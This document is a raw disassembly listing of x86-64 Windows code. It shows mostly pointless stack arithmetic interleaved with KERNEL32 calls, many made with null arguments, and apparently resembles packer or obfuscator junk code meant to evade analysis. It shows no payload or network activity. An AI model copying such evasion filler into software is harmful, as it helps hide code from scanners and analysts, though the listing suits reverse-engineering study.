movzx eax, word [rsp + 0x136c]
movzx ecx, word [rsp + 0x2f70]
shl eax, cl
mov word [rsp + 0x2498], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ec58]
sar eax, cl
mov byte [rsp + 0x356], al
mov rax, qword [rsp + 0x15728]
mov rcx, qword [rsp + 0x14ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14028ee28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15498]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64d8], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
mov dword [rsp + 0xb490], eax
mov rcx, qword [rsp + 0x143b0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xb0b8], eax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x296], al
mov rax, qword [rsp + 0x14a00]
movzx eax, word [rax]
mov word [rsp + 0x3228], ax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x15438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5c4], eax
mov rax, qword [rsp + 0x14cc0]
mov rcx, qword [rsp + 0x15198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x86f8], eax
mov rax, qword [rsp + 0x15030]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x83d0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa454]
add ecx, eax
mov eax, ecx
mov dword [0x1402829cc], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xb370]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa674], eax
mov rax, qword [rsp + 0x150d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7c8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15e8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, byte [rsp + 0x681]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x47b], al
movzx eax, word [rsp + 0x2fac]
mov word [rsp + 0x322c], ax
mov rax, qword [rsp + 0x14b10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaf00]
shl eax, cl
mov dword [rsp + 0xa67c], eax
mov eax, dword [0x140282984]
mov dword [rsp + 0xb494], eax
movzx eax, word [rsp + 0x1b1c]
movzx ecx, word [rsp + 0x2dc0]
sar eax, cl
mov word [rsp + 0x2dc8], ax
movzx eax, byte [rsp + 0x679]
mov byte [0x14028ea44], al
mov eax, dword [rsp + 0xabbc]
mov ecx, dword [rsp + 0x85f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7558], eax
mov rax, qword [rsp + 0x15228]
mov ecx, dword [rsp + 0x747c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb204], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb234]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa660], eax
mov eax, dword [rsp + 0xa6cc]
mov dword [rsp + 0xb498], eax
movzx eax, byte [rsp + 0x678]
mov rcx, qword [rsp + 0x154d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
mov word [rsp + 0x3230], ax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5d0], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaedc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x30dc]
movsx ecx, word [rsp + 0x15e8]
sub eax, ecx
mov word [0x14028ed20], ax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x176], al
movzx eax, word [rsp + 0x2d3c]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dc8], ax
lea rax, [rsp + 0x675]
mov qword [rsp + 0x158c8], rax
mov rax, qword [rsp + 0x15808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf7c], eax
mov rax, qword [0x14028ec18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa33c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb114], eax
lea rax, [rsp + 0xa9cc]
mov qword [rsp + 0x158d0], rax
mov eax, dword [rsp + 0xa338]
mov ecx, dword [rsp + 0xaa0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fc0], eax
mov eax, dword [rsp + 0xa3b8]
mov dword [rsp + 0xb49c], eax
movzx eax, word [rsp + 0x2f40]
movzx ecx, word [rsp + 0x2b28]
sub eax, ecx
mov word [rsp + 0x3150], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70d]
or eax, ecx
mov byte [0x140281eef], al
mov rcx, qword [rsp + 0x14230]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14b48]
mov qword [rsp + 0x158d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9590], eax
mov rax, qword [rsp + 0x15118]
mov eax, dword [rax]
mov dword [rsp + 0xb4a0], eax
mov eax, dword [rsp + 0xadac]
mov rcx, qword [rsp + 0x14768]
mov qword [rsp + 0x158e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xac34], eax
mov rax, qword [rsp + 0x141c0]
mov rcx, qword [rsp + 0x14f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7198], eax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x6b3]
and eax, ecx
mov byte [rsp + 0x72a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, word [rsp + 0x2b40]
mov word [rsp + 0x3234], ax
mov rax, qword [0x14028eaa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70e], al
movsx eax, word [rsp + 0x2008]
movsx ecx, word [rsp + 0x2f3c]
sub eax, ecx
mov word [rsp + 0x30d0], ax
mov rax, qword [rsp + 0x14ae0]
mov ecx, dword [0x14028294c]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282760], eax
mov eax, dword [rsp + 0x9514]
mov dword [rsp + 0xb4a4], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x144d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6f0], al
movzx eax, word [rsp + 0x322c]
mov rcx, qword [0x14028ec48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0x15300]
mov ecx, dword [rsp + 0x9838]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c64], eax
mov rax, qword [0x14028eb98]
mov eax, dword [rax]
mov dword [rsp + 0xb4a8], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xaa98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6558], eax
movzx eax, word [rsp + 0x2584]
mov word [rsp + 0x3238], ax
movzx eax, byte [rsp + 0x760]
movzx ecx, byte [rsp + 0x640]
shl eax, cl
mov byte [0x140281e8e], al
mov eax, dword [rsp + 0xa8b4]
mov ecx, dword [rsp + 0x976c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xae4c], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7ab4]
sar eax, cl
mov dword [rsp + 0x72c0], eax
mov eax, dword [rsp + 0x9930]
mov ecx, dword [rsp + 0x78e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fd8], eax
mov rax, qword [rsp + 0x14e30]
mov rcx, qword [rsp + 0x14f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xb4ac], eax
lea rdx, [rsp + 0x23548]
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb4b0], eax
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x2c40]
sub eax, ecx
mov rcx, qword [rsp + 0x14eb0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6c7]
movsx ecx, byte [rsp + 0x649]
add eax, ecx
mov rcx, qword [rsp + 0x14968]
mov byte [rcx], al
movzx eax, word [0x1402828d8]
mov word [rsp + 0x323c], ax
movzx eax, byte [rsp + 0x3c5]
mov rcx, qword [rsp + 0x156e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281ef2], al
lea rcx, [rsp + 0x21bd0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x14248]
mov rcx, qword [0x14028eab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac88], eax
mov eax, dword [rsp + 0xa33c]
mov dword [rsp + 0xb4b4], eax
movzx eax, word [rsp + 0x2dbc]
mov rcx, qword [rsp + 0x154e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x31cc], ax
movzx eax, byte [rsp + 0x429]
movzx ecx, byte [rsp + 0x754]
sub eax, ecx
mov byte [rsp + 0x56a], al
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ba8], eax
mov rax, qword [rsp + 0x15848]
mov ecx, dword [rsp + 0xafd4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e4], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov dword [rsp + 0xb4b8], eax
mov rax, qword [rsp + 0x14820]
mov rcx, qword [rsp + 0x15618]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6564], eax
movzx eax, word [rsp + 0x3150]
mov word [0x14028ea42], ax
mov rax, qword [rsp + 0x15888]
movzx eax, byte [rax]
mov byte [rsp + 0x7c9], al
mov eax, dword [rsp + 0xab30]
mov rcx, qword [rsp + 0x14930]
mov qword [rsp + 0x158e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9880], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xb0c4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa99c], eax
movsx eax, word [rsp + 0x2450]
movsx ecx, word [rsp + 0x2e28]
xor eax, ecx
mov word [rsp + 0x1e50], ax
movsx eax, byte [rsp + 0x748]
movsx ecx, byte [rsp + 0x798]
shl eax, cl
mov byte [rsp + 0x76e], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x152e0], rax
movzx eax, byte [rsp + 0x68d]
mov byte [rsp + 0x7ca], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x304c]
and eax, ecx
mov word [rsp + 0x2d40], ax
mov eax, dword [rsp + 0xa408]
mov ecx, dword [rsp + 0xa474]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb298], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x935c]
sub ecx, eax
mov eax, ecx
mov dword [0x14028270c], eax
lea rax, [rsp + 0xa7e4]
mov qword [rsp + 0x158f0], rax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x14a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb428], eax
mov rax, qword [rsp + 0x151d8]
mov eax, dword [rax]
mov dword [rsp + 0xb4bc], eax
movzx eax, byte [0x14028ecf4]
movzx ecx, byte [rsp + 0x45f]
sub eax, ecx
mov byte [rsp + 0x64b], al
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1710], ax
mov rax, qword [rsp + 0x150f8]
mov ecx, dword [rsp + 0xa544]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6c8], eax
mov rax, qword [rsp + 0x14ea8]
mov ecx, dword [rsp + 0x9498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15830]
mov dword [rcx], eax
lea rcx, str.FAKBLOdwPz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3240], ax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xb4c0], eax
mov rax, qword [0x14028ebc8]
mov ecx, dword [rsp + 0xa768]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402829d0], eax
movzx eax, byte [rsp + 0x730]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x749], al
lea rax, [rsp + 0x2928]
mov qword [rsp + 0x158f8], rax
movsx eax, word [0x14028ee68]
movsx ecx, word [rsp + 0x155c]
xor eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4cf], al
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov dword [rsp + 0xb4c4], eax
movzx ecx, word [rsp + 0x31f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f30], ax
mov rax, qword [rsp + 0x14c30]
mov ecx, dword [rsp + 0xb26c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8568], eax
movzx eax, byte [rsp + 0x3f9]
movzx ecx, byte [rsp + 0x73b]
sar eax, cl
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0x15838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
and eax, ecx
mov rcx, qword [rsp + 0x14f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x149d8]
mov rcx, qword [rsp + 0x15170]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ebc0], eax
mov rax, qword [rsp + 0x14ed0]
mov ecx, dword [0x1402826b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7508], eax
mov rax, qword [rsp + 0x15198]
mov eax, dword [rax]
mov dword [rsp + 0xb4c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0xa4d8]
mov ecx, dword [rsp + 0x77ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1710]
mov word [rsp + 0x3244], ax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a9]
sub eax, ecx
mov byte [rsp + 0x6fe], al
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xa7d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6500], eax
lea rax, [rsp + 0x8904]
mov qword [rsp + 0x15900], rax
mov rax, qword [rsp + 0x15848]
mov ecx, dword [rsp + 0xafd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7800], eax
mov rax, qword [rsp + 0x14838]
mov rcx, qword [rsp + 0x14c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402829d4], eax
mov rax, qword [rsp + 0x157e8]
mov eax, dword [rax]
mov dword [rsp + 0xb4cc], eax
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e54]
add eax, ecx
mov word [rsp + 0x3030], ax
movsx eax, byte [rsp + 0x688]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6d], al
movzx eax, byte [0x140281e3b]
movzx ecx, byte [rsp + 0x7a4]
or eax, ecx
mov byte [rsp + 0x624], al
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x315c], ax
mov rax, qword [rsp + 0x15738]
mov eax, dword [rax]
mov dword [rsp + 0xb4d0], eax
mov eax, dword [rsp + 0xa740]
mov ecx, dword [0x14028eb50]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa674], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x1c78]
mov qword [rsp + 0x15908], rax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x673]
add eax, ecx
mov byte [0x140281edb], al
mov eax, dword [rsp + 0x8598]
mov ecx, dword [0x1402827f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa594], eax
mov eax, dword [rsp + 0xaf2c]
mov ecx, dword [rsp + 0xa3f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8640], eax
mov rax, qword [rsp + 0x14ee0]
mov eax, dword [rax]
mov dword [rsp + 0xb4d4], eax
mov rax, qword [rsp + 0x151a8]
mov eax, dword [rax]
mov ecx, dword [0x1402828a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa594], eax
lea rax, [rsp + 0x491]
mov qword [rsp + 0x15910], rax
movzx eax, word [rsp + 0x285c]
mov rcx, qword [rsp + 0x15148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3134], ax
mov rax, qword [rsp + 0x14e50]
mov rcx, qword [rsp + 0x157e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb230], eax
mov eax, dword [rsp + 0xa60c]
mov ecx, dword [rsp + 0x8f64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84ec], eax
mov rax, qword [rsp + 0x14c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140282958], ax
mov dword [rsp + 0x24fb0], 0x114
movsx eax, byte [rsp + 0x776]
mov rcx, qword [rsp + 0x14c68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66d], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x15748]
movzx eax, byte [rax]
mov byte [rsp + 0x7cb], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2680]
and eax, ecx
mov word [rsp + 0x2d50], ax
mov rax, qword [rsp + 0x156c0]
mov eax, dword [rax]
mov dword [rsp + 0xb4d8], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14be0]
mov qword [rsp + 0x15918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15918]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x925c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf4c], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x747c], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb3a0]
sar eax, cl
mov dword [rsp + 0x7130], eax
mov rax, qword [rsp + 0x149c0]
mov eax, dword [rax]
mov ecx, dword [0x1402826b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xab68], eax
lea rax, [rsp + 0x7af]
mov qword [rsp + 0x15920], rax
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
mov word [0x14028ea40], ax
mov rax, qword [0x14028ecc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabbc], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad64], eax
mov eax, dword [rsp + 0xa264]
mov dword [rsp + 0xb4dc], eax
mov eax, dword [0x1402827f4]
mov ecx, dword [rsp + 0x7750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x899c], eax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
mov byte [rsp + 0x7cc], al
movzx eax, word [rsp + 0x221c]
movzx ecx, word [rsp + 0x2c88]
add eax, ecx
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0x153b8]
movsx eax, word [rax]
movsx ecx, word [0x1402829c0]
add eax, ecx
mov word [rsp + 0x2d60], ax
movsx eax, byte [rsp + 0x710]
movsx ecx, byte [rsp + 0x7b2]
sub eax, ecx
mov byte [rsp + 0x4cb], al
mov rax, qword [rsp + 0x14ef0]
mov ecx, dword [rsp + 0x7d7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402829d8], eax
mov eax, dword [rsp + 0x985c]
mov ecx, dword [rsp + 0x7ae8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b14], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x7cd], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [0x140282768]
add eax, ecx
mov word [rsp + 0x3080], ax
mov eax, dword [rsp + 0xb2fc]
mov ecx, dword [rsp + 0xb368]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9790], eax
mov eax, dword [rsp + 0x7d7c]
mov dword [rsp + 0xb4e0], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x87c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa394], eax
lea rdx, [rsp + 0xb4e4]
mov rcx, qword [rsp + 0x154e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x15380]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7898]
sar eax, cl
mov dword [rsp + 0x95dc], eax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x682], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14028273c], ax
mov rax, qword [rsp + 0x15428]
mov eax, dword [rax]
mov dword [rsp + 0xb4e8], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x148f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa6fc], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab28]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
mov dword [rsp + 0xb4ec], eax
mov eax, dword [rsp + 0xb3a0]
mov ecx, dword [rsp + 0xb224]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadbc], eax
lea rax, [rsp + 0x1d78]
mov qword [rsp + 0x15928], rax
mov rax, qword [rsp + 0x15430]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x190]
sub eax, ecx
mov byte [rsp + 0x753], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb4b0], eax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [0x14028eb40]
and eax, ecx
mov byte [rsp + 0x75a], al
mov rax, qword [rsp + 0x15718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402829dc], ax
mov eax, dword [rsp + 0xb038]
mov dword [rsp + 0xb4f0], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2730]
movzx ecx, word [rsp + 0x1b58]
sub eax, ecx
mov word [rsp + 0x152c], ax
movzx eax, byte [rsp + 0x6c4]
mov rcx, qword [rsp + 0x156e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x624], al
mov eax, dword [rsp + 0xa8d4]
mov ecx, dword [rsp + 0x8dd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf68], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [rsp + 0xb4f4], eax
mov eax, dword [0x140282874]
movzx ecx, al
mov eax, dword [rsp + 0xabc8]
shl eax, cl
mov dword [rsp + 0xad78], eax
mov eax, dword [rsp + 0xb0e4]
mov dword [rsp + 0xb4f8], eax
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14028eb10]
mov word [rcx], ax
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eb6c]
or eax, ecx
mov byte [rsp + 0x170], al
mov eax, dword [rsp + 0xa4c0]
movzx ecx, al
mov eax, dword [rsp + 0xad0c]
shr eax, cl
mov dword [rsp + 0xa3bc], eax
mov rax, qword [rsp + 0x156d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6efc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movsx eax, byte [rsp + 0x688]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x697], al
lea rax, [rsp + 0x2474]
mov qword [rsp + 0x15930], rax
movzx eax, byte [rsp + 0x79f]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x15410]
movzx eax, word [rax]
mov word [rsp + 0x3248], ax
mov rax, qword [rsp + 0x15418]
mov ecx, dword [rsp + 0x9dbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x899c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x14858]
mov ecx, dword [0x14028277c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402829e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa834]
mov ecx, dword [rsp + 0x6664]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xacb0], eax
mov eax, dword [rsp + 0xaaf8]
mov dword [rsp + 0xb4fc], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [rsp + 0x15850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4cc], eax
lea rax, [rsp + 0x659]
mov qword [rsp + 0x15938], rax
mov rax, qword [rsp + 0x14dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15908]
movzx ecx, word [rcx]
add eax, ecx
